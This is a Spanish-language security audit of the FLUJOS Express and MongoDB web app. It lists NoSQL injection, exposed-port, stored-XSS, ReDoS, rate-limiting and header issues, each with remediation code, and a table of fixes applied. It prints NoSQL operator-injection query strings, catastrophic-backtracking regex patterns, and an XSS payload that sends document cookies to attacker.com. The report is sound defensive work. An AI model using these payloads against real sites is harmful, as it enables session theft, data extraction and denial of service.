FLUJOS/INFO/DOCS/CONTEXT/SEGURIDAD.md
CAPITANSITO 778db90d78 fix: módulos faltantes wikipedia scraper + docs actualizados
- WIKIPEDIA/main.py: import buscar_articulos y obtener_contenido_wikipedia
- myenv: instalados wikipedia, wikipedia-api, deep-translator
- PIPELINE_MAESTRO.md: tabla de errores conocidos, Nice/CPUQuota, timer 2d
- SEGURIDAD.md: tabla de fixes aplicados en producción

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-22 00:33:50 +02:00

223 lines
7.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Informe de Seguridad — FLUJOS
**Fecha:** 2026-04-21
**Auditor:** Análisis de código estático + pruebas manuales en local
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
---
## Resumen ejecutivo
La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado **2 vulnerabilidades críticas** explotables ahora mismo, 3 altas y 2 medias.
---
## Vulnerabilidades encontradas
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 5772
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
**Vectores explotables:**
```
GET /api/data?tema[$ne]=nada&nodos=500
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
GET /api/data?tema[$gt]=&nodos=500
→ Equivalente a "todos los documentos donde tema > ''"
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
→ Itera toda la subcolección
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
→ Fuerza error de tipo, puede revelar stack traces en logs
```
**Fix (10 min):**
```javascript
// En FLUJOS_APP.js, justo después de desestructurar req.query:
function sanitizeParam(val) {
if (typeof val !== 'string') return undefined;
return val.trim();
}
const tema = sanitizeParam(req.query.tema);
const subtematica = sanitizeParam(req.query.subtematica);
const palabraClave = sanitizeParam(req.query.palabraClave);
const fechaInicio = sanitizeParam(req.query.fechaInicio);
const fechaFin = sanitizeParam(req.query.fechaFin);
const nodos = sanitizeParam(req.query.nodos);
const complejidad = sanitizeParam(req.query.complejidad);
```
---
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
```
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
```
**Fix (1 línea):**
```javascript
// FLUJOS_APP.js línea 235:
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
```
---
### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 9092
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
```javascript
detailPanel.innerHTML = `
<h2>Detalle</h2>
<pre>${content || 'No hay contenido disponible.'}</pre>
`;
```
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
**Fix:**
```javascript
const pre = document.createElement('pre');
pre.textContent = content || 'No hay contenido disponible.';
const h2 = document.createElement('h2');
h2.textContent = 'Detalle';
detailPanel.replaceChildren(h2, pre);
```
---
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
**Archivo:** `FLUJOS_APP.js` línea 72
```javascript
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
```
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
**Fix:**
```javascript
if (palabraClave) {
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
res.status(400).json({ error: 'palabraClave inválida' });
return;
}
// Escapar metacaracteres regex
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
}
```
---
### 🟠 ALTA 3 — Sin rate limiting
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
**Fix:**
```bash
npm install express-rate-limit
```
```javascript
const rateLimit = require('express-rate-limit');
app.use('/api/', rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: 60, // 60 peticiones por minuto por IP
standardHeaders: true,
legacyHeaders: false,
}));
```
---
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
---
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
**Fix:**
```javascript
app.use(helmet()); // activa todo por defecto
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
```
---
## Fixes aplicados (2026-04-22)
Todos los ítems críticos y altos han sido corregidos en producción:
| # | Vulnerabilidad | Fix aplicado |
|---|---|---|
| 1 | NoSQL Injection | `sanitizeParam()` + `TEMAS_VALIDOS` whitelist |
| 2 | Puerto 3000 público | `app.listen(port, '127.0.0.1', ...)` |
| 3 | XSS stored innerHTML | `textContent` + DOM API en `output_int_sec.js` y `3dscript_eco-corp.html` |
| 4 | ReDoS palabraClave | Escape de metacaracteres + límite 100 chars |
| 5 | Helmet parcial | `app.use(helmet())` completo + CSP sin `unsafe-inline` |
| 6 | CSRF | Filtro Origin en `/api/` |
| 7 | Body flooding | `bodyParser limit: '10kb'` |
**Pendiente sin fix:** Rate limiting (express-rate-limit no instalado).
---
## Lo que está bien
| Componente | Estado |
|---|---|
| HTTPS con Let's Encrypt | Activo en nginx |
| MongoDB en 127.0.0.1 | No expuesto al exterior |
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
| Helmet completo | Activo desde 2026-04-22 |
| No hay SQL injection | BD es MongoDB, no SQL |
| No directory listing en /wiki-images/ | Express static lo rechaza |
| HTTP → HTTPS redirect | Configurado en nginx |
---
## Configuración nginx relevante (theflows.net)
```
/etc/nginx/sites-enabled/theflows.net
├── HTTP :80 → redirect 301 HTTPS
├── HTTPS :443 ssl http2 (Let's Encrypt)
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
```
**Problema:** el backend Node también escucha en `0.0.0.0:3000`, así que nginx solo es un proxy opcional, no obligatorio.
---
## Orden de prioridad de fixes
| # | Vulnerabilidad | Impacto | Esfuerzo |
|---|---|---|---|
| 1 | NoSQL Injection | CRÍTICO | 10 min |
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
| 4 | ReDoS via palabraClave | ALTO | 10 min |
| 5 | Rate limiting | ALTO | 15 min |
| 6 | CSP unsafe-inline | MEDIO | 30 min |
| 7 | Helmet completo | MEDIO | 5 min |